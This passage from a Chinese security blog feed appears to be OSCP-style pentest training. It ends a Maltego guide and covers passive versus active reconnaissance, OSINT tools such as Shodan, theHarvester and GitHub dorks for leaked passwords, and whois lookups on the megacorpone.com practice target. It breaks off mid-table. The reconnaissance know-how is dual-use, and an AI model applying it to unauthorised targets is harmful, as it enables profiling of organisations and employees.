 &lt;td&gt;Domain&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To IP Address [DNS]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;解析IP地址&lt;/td&gt;
 &lt;td&gt;Domain&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Website [Domain]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;发现关联网站&lt;/td&gt;
 &lt;td&gt;Domain&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Email addresses [Domain]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;挖掘邮箱&lt;/td&gt;
 &lt;td&gt;Domain&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Netblock [IP]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;查找IP所属网段&lt;/td&gt;
 &lt;td&gt;IP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Domain [SSL Cert]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;通过SSL证书发现域名&lt;/td&gt;
 &lt;td&gt;IP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;To Person [Email]&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;关联人员信息&lt;/td&gt;
 &lt;td&gt;Email&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;Shodan: Scan IP&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;端口扫描&lt;/td&gt;
 &lt;td&gt;IP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="六最佳实践"&gt;&lt;strong&gt;六、最佳实践&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;分层调查：&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
L1[基础设施] --&gt; DNS/IP/Netblock
L2[人员] --&gt; Email/Person/Social
L3[威胁] --&gt; Vulnerabilities/Breach&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;保存检查点&lt;/strong&gt;：&lt;code&gt;File&lt;/code&gt; → &lt;code&gt;Save as Snapshot&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用书签&lt;/strong&gt;：标记关键实体（右键 → &lt;code&gt;Bookmark&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;避免噪音&lt;/strong&gt;：设置过滤器（&lt;code&gt;View&lt;/code&gt; → &lt;code&gt;Filter Entities&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530143908757" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530143908757.png"&gt;&lt;/p&gt;
&lt;h3 id="七学习资源"&gt;&lt;strong&gt;七、学习资源&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;官方教程：&lt;code&gt;Help&lt;/code&gt; → &lt;code&gt;Interactive Tutorials&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;案例库：&lt;a class="link" href="https://www.maltego.com/use-cases/" target="_blank" rel="noopener"
 &gt;Maltego Use Cases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;认证课程：&lt;a class="link" href="https://www.maltego.com/training/" target="_blank" rel="noopener"
 &gt;Maltego Certified Examiner (MCE)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;⚠️ &lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;遵守法律和道德规范，仅用于授权测试&lt;/li&gt;
&lt;li&gt;社区版功能有限，企业版支持更多数据源&lt;/li&gt;
&lt;li&gt;敏感操作（如端口扫描）可能触发安全警报&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;p&gt;通过 Maltego 的可视化关联分析，您能将碎片信息转化为可行动的情报，极大提升渗透测试和威胁调查效率。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day16 Kali被动信息收集（开源情报）</title><link>https://ruajingjing.top/post/day16-kali%E8%A2%AB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</link><pubDate>Thu, 29 May 2025 17:45:02 +0000</pubDate><guid>https://ruajingjing.top/post/day16-kali%E8%A2%AB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day16 Kali被动信息收集（开源情报）" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="被动信息收集passive-information-gathering-与-主动信息收集active-information-gathering-的区别"&gt;&lt;strong&gt;被动信息收集（Passive Information Gathering）&lt;/strong&gt; 与 &lt;strong&gt;主动信息收集（Active Information Gathering）&lt;/strong&gt; 的区别
&lt;/h2&gt;&lt;p&gt;在网络安全、渗透测试和威胁情报分析中，这两种信息收集方式的核心区别在于 &lt;strong&gt;是否直接与目标系统交互&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="1-被动信息收集"&gt;&lt;strong&gt;1. 被动信息收集&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：
通过公开资源或第三方数据源获取目标信息，​&lt;strong&gt;​不直接与目标系统或网络通信​&lt;/strong&gt;​。&lt;/li&gt;
&lt;li&gt;特点：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;隐蔽性高&lt;/strong&gt;：目标无法感知被探测。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依赖公开数据&lt;/strong&gt;：利用搜索引擎、社交媒体、DNS记录、数据库等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法律风险低&lt;/strong&gt;：通常不违反法律（需遵守隐私政策）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;常见方法：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;搜索引擎&lt;/strong&gt;：Google Hacking（&lt;code&gt;site:&lt;/code&gt;, &lt;code&gt;filetype:&lt;/code&gt; 等语法）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WHOIS查询&lt;/strong&gt;：获取域名注册信息（注册人、DNS服务器）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS解析&lt;/strong&gt;：通过公开DNS记录获取子域名、IP地址（如 &lt;code&gt;dig&lt;/code&gt;、&lt;code&gt;nslookup&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;历史数据&lt;/strong&gt;：查看网页快照（Wayback Machine）、漏洞数据库（CVE、Exploit-DB）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社交媒体&lt;/strong&gt;：LinkedIn、GitHub（员工信息、代码泄露）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shodan/Censys&lt;/strong&gt;：搜索暴露的物联网设备和服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;适用场景：
&lt;ul&gt;
&lt;li&gt;渗透测试初期，确定目标范围。&lt;/li&gt;
&lt;li&gt;威胁情报分析，追踪攻击者基础设施。&lt;/li&gt;
&lt;li&gt;避免触发目标安全告警（如IDS/IPS）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-主动信息收集"&gt;&lt;strong&gt;2. 主动信息收集&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：
​&lt;strong&gt;​直接与目标系统或网络通信​&lt;/strong&gt;​，通过发送探测请求获取信息。&lt;/li&gt;
&lt;li&gt;特点：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;交互性强&lt;/strong&gt;：可能触发安全机制（如防火墙、日志记录）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信息更精准&lt;/strong&gt;：直接验证目标状态（端口开放性、服务版本）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法律风险高&lt;/strong&gt;：未经授权的主动探测可能违法（如《计算机欺诈与滥用法》）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;常见方法：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;端口扫描&lt;/strong&gt;：Nmap（&lt;code&gt;-sS&lt;/code&gt; 半开扫描）、Masscan。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务指纹识别&lt;/strong&gt;：Banner抓取（Telnet、Netcat）、Nmap脚本（&lt;code&gt;-sV&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞探测&lt;/strong&gt;：Nessus、OpenVAS（验证已知漏洞）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络嗅探&lt;/strong&gt;：Wireshark、tcpdump（分析流量）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暴力破解&lt;/strong&gt;：Hydra（测试弱密码）、DirBuster（目录枚举）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主动DNS查询&lt;/strong&gt;：直接向目标DNS服务器请求记录。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;适用场景：
&lt;ul&gt;
&lt;li&gt;渗透测试中后期，验证漏洞可利用性。&lt;/li&gt;
&lt;li&gt;红队行动中模拟真实攻击行为。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;需获得明确授权&lt;/strong&gt;（如授权渗透测试）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="对比表格"&gt;&lt;strong&gt;对比表格&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;特征&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;被动信息收集&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;主动信息收集&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;交互性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;不直接与目标交互&lt;/td&gt;
 &lt;td style="text-align: center"&gt;直接与目标交互&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;隐蔽性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高（目标无法察觉）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;低（可能触发告警）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;数据来源&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;公开资源、第三方数据库&lt;/td&gt;
 &lt;td style="text-align: center"&gt;目标系统的响应数据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;法律风险&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;低（需遵守隐私政策）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高（需明确授权）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;常用工具&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Shodan, WHOIS, Wayback Machine, Google&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Nmap, Nessus, Hydra, Wireshark&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;渗透测试阶段&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;前期（侦查）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;中后期（漏洞利用、横向移动）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="实战建议"&gt;&lt;strong&gt;实战建议&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;优先被动收集&lt;/strong&gt;：
在未授权时仅使用被动方法，避免法律风险。例如：通过GitHub搜索目标代码泄露。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主动收集需授权&lt;/strong&gt;：
在渗透测试中，主动扫描前必须获得书面授权。例如：使用Nmap扫描客户网络。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;混合使用&lt;/strong&gt;：
结合两者提高效率。例如：被动收集子域名后，主动验证其存活性和服务版本。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;开源情报（&lt;strong&gt;OSINT，Open Source Intelligence&lt;/strong&gt;）是指从&lt;strong&gt;公开可获取的来源&lt;/strong&gt;中收集、分析和利用信息，用于支持决策或安全分析。其核心特点是数据来源完全公开（如互联网、媒体、政府记录等），无需侵入目标系统，但需通过技术手段筛选有效信息。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="什么是开源情报如何获取开源情报"&gt;什么是开源情报，如何获取开源情报？
&lt;/h2&gt;&lt;h3 id="开源情报osint的核心特点"&gt;&lt;strong&gt;开源情报（OSINT）的核心特点&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;公开性&lt;/strong&gt;：数据来自免费或公开渠道（如网页、社交媒体、数据库）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合法性&lt;/strong&gt;：遵守隐私政策和法律法规（如 GDPR、CCPA）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非侵入性&lt;/strong&gt;：不直接与目标交互，避免触发安全告警。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多样性&lt;/strong&gt;：覆盖文本、图像、视频、元数据等多种格式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可验证性&lt;/strong&gt;：通过交叉比对多个来源提高信息可信度。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="如何获取开源情报"&gt;&lt;strong&gt;如何获取开源情报？&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-基础数据来源"&gt;&lt;strong&gt;1. 基础数据来源&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;搜索引擎：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Google Dorking&lt;/strong&gt;：使用高级语法（&lt;code&gt;site:example.com filetype:pdf&lt;/code&gt;）挖掘敏感文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bing/Yandex&lt;/strong&gt;：特定区域或语言的内容（如俄语信息用Yandex更高效）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;社交媒体：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LinkedIn&lt;/strong&gt;：挖掘员工职位、技术栈（如“某公司使用Apache Tomcat”）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Twitter/Telegram&lt;/strong&gt;：追踪威胁情报（如勒索软件团伙的暗网活动）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub/GitLab&lt;/strong&gt;：搜索代码泄露、API密钥或硬编码密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;域名与IP：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WHOIS查询&lt;/strong&gt;：获取域名注册人、邮箱、电话（工具：WhoisXML API）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS记录&lt;/strong&gt;：通过 &lt;code&gt;dig&lt;/code&gt; 或在线工具（ViewDNS）解析子域名和MX记录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;证书透明度日志&lt;/strong&gt;（如crt.sh）：发现目标关联的SSL证书和子域名。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-高级技术工具"&gt;&lt;strong&gt;2. 高级技术工具&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;网络资产测绘：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shodan&lt;/strong&gt;：搜索暴露的物联网设备（如摄像头、数据库）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Censys&lt;/strong&gt;：分析IP的开放端口和服务指纹（如Apache版本）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FOFA&lt;/strong&gt;：国内版Shodan，侧重中文目标。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;元数据提取：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ExifTool&lt;/strong&gt;：从图片中提取GPS坐标、拍摄设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FOCA&lt;/strong&gt;：分析文档（PDF/Word）中的隐藏元数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;历史数据：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wayback Machine&lt;/strong&gt;：查看网站历史快照（如已删除的登录页面）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS历史记录&lt;/strong&gt;：通过SecurityTrails追溯IP变更。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-自动化与框架"&gt;&lt;strong&gt;3. 自动化与框架&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;OSINT集成工具：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Maltego&lt;/strong&gt;：可视化关联分析（如域名→IP→员工邮箱→社交媒体）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SpiderFoot&lt;/strong&gt;：自动聚合WHOIS、DNS、漏洞库等数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;theHarvester&lt;/strong&gt;：批量收集邮箱、子域名（支持Google、Bing、PGP密钥服务器）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;自定义脚本：
&lt;ul&gt;
&lt;li&gt;使用Python（&lt;code&gt;requests&lt;/code&gt;、&lt;code&gt;BeautifulSoup&lt;/code&gt;）爬取特定网站数据。&lt;/li&gt;
&lt;li&gt;调用API（如Twitter API、Shodan API）实现数据批量获取。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-暗网与威胁情报"&gt;&lt;strong&gt;4. 暗网与威胁情报&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;暗网监控：
&lt;ul&gt;
&lt;li&gt;使用 &lt;strong&gt;Tor浏览器&lt;/strong&gt; 访问暗网论坛（如Dread），搜索数据泄露记录。&lt;/li&gt;
&lt;li&gt;工具：&lt;strong&gt;DarkSearch.io&lt;/strong&gt;（暗网搜索引擎）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;漏洞与威胁库：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE Details&lt;/strong&gt;：查询已知漏洞的利用方式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;：分析文件哈希、URL关联的恶意活动。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AlienVault OTX&lt;/strong&gt;：获取全球威胁情报指标（IOC）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="实战案例"&gt;&lt;strong&gt;实战案例&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;定位数据泄露来源：
&lt;ul&gt;
&lt;li&gt;在GitHub搜索 &lt;code&gt;companyname password&lt;/code&gt;，发现员工误传的配置文件含数据库密码。&lt;/li&gt;
&lt;li&gt;通过Shodan验证该数据库IP是否暴露在公网。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;钓鱼攻击溯源：
&lt;ul&gt;
&lt;li&gt;从钓鱼邮件元数据中提取发信IP，用AbuseIPDB查询历史恶意行为。&lt;/li&gt;
&lt;li&gt;关联该IP的SSL证书，发现注册邮箱与某暗网论坛账号一致。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;供应链攻击分析：
&lt;ul&gt;
&lt;li&gt;通过Crunchbase找到目标供应商的客户列表。&lt;/li&gt;
&lt;li&gt;使用Censys扫描这些客户的公网资产，发现共用同一脆弱SaaS服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="注意事项"&gt;&lt;strong&gt;注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;法律合规：
&lt;ul&gt;
&lt;li&gt;避免侵犯隐私（如爬取LinkedIn个人资料可能违反用户协议）。&lt;/li&gt;
&lt;li&gt;在欧盟地区需遵守GDPR（如模糊化处理个人信息）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;道德准则：
&lt;ul&gt;
&lt;li&gt;仅用于授权测试或防御分析，禁止恶意用途。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;信息验证：
&lt;ul&gt;
&lt;li&gt;交叉验证多个来源（如WHOIS邮箱是否与社交媒体账号关联）。&lt;/li&gt;
&lt;li&gt;警惕虚假信息（如伪造的GitHub仓库或域名注册信息）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;开源情报（OSINT）是“&lt;strong&gt;从公开信息中提炼黄金&lt;/strong&gt;”的技术，核心在于：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;明确目标&lt;/strong&gt;（如“获取某公司的网络拓扑”）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选择工具链&lt;/strong&gt;（如Maltego关联分析 + Shodan验证）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动化与人工分析结合&lt;/strong&gt;，最终形成可行动的威胁情报。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="whois-信息收集"&gt;Whois 信息收集
&lt;/h2&gt;&lt;p&gt;还是官方的靶机网址 &lt;a class="link" href="https://www.megacorpone.com/" target="_blank" rel="noopener"
 &gt;https://www.megacorpone.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524170128776.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;whois megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250524170205065" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524170205065.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524170317085" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524170317085.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524220349042" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524220349042.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;强制指定 WHOIS 服务器&lt;/strong&gt;（某些域名需指定注册商服务器）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;whois -h whois.verisign-grs.com megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250524220711028" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524220711028.png"&gt;&lt;/p&gt;
&lt;h3 id="whois-输出信息解析"&gt;&lt;strong&gt;WHOIS 输出信息解析&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-关键字段解读"&gt;&lt;strong&gt;1. 关键字段解读&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;字段&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;说明&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Domain Name&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名名称（如 &lt;code&gt;example.com&lt;/code&gt;）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Registry Domain ID&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名在注册局的唯一标识符（用于追踪变更）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Registrar&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名注册商（如 GoDaddy、Namecheap）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Creation Date&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名注册日期（可用于判断目标运营时长）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Expiration Date&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名过期时间（若未续费可能被抢注）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Updated Date&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;最后更新时间（如DNS记录或所有者变更）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Domain Status&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名状态（如 &lt;code&gt;clientTransferProhibited&lt;/code&gt; 表示禁止转移）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Name Server&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名使用的DNS服务器（可进一步探测子域名）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Registrant Contact&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;注册人信息（可能被隐私保护服务隐藏）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Admin/Technical Contact&lt;/strong&gt;&lt;/td&gt;
